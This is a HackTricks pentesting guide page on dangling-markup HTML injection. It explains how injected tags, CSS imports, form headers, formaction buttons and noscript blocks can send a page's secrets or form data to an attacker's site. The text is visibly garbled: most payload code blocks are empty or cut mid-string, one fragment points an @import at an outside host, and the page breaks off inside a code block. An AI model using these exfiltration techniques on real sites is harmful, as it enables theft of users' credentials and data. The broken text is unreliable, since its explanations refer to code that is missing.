--- title: "Dangling Markup - HTML scriptless injection" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/dangling-markup-html-scriptless-injection/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0" --- # Dangling Markup - HTML scriptless injection ## Summary This technique can extract information from a user's page when **HTML injection** is possible but direct [**XSS**](../xss-cross-site-scripting/index.html) is not. It is useful when a **secret appears in clear text** later in the HTML or when injected markup can disrupt an existing script workflow.[[1]](#references)[[2]](#references)[[3]](#references) Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...). ## Main Applications ### Stealing clear text secrets If you inject `[[2]](#references)[[3]](#references) If the `img` tag is forbidden (due to CSP for example) you can also use `@import//hackvertor.co.uk? <--- Injected steal me!; ``` You could also use **`test ``` ### Stealing forms ```html ``` Then, the forms that send data to path (like `
`) will send the data to the malicious domain. ### Stealing forms 2 Set a form header: `` this will overwrite the next form header and all the data from the form will be sent to the attacker. ### Stealing forms 3 The button can change the URL where the information of the form is going to be sent with the attribute "formaction": ```html ``` An attacker can use this to steal the information. Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).[[5]](#references) ### Stealing clear text secrets 2 Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field: ```html ` tag. All the data until a closed `` is found will be sent: ```html Click Me ← Injected lines ← Existing form (ignored by the parser) ... ← Subverted field ... ...
``` ### Stealing clear text secrets via noscript `` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)). A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this: ```html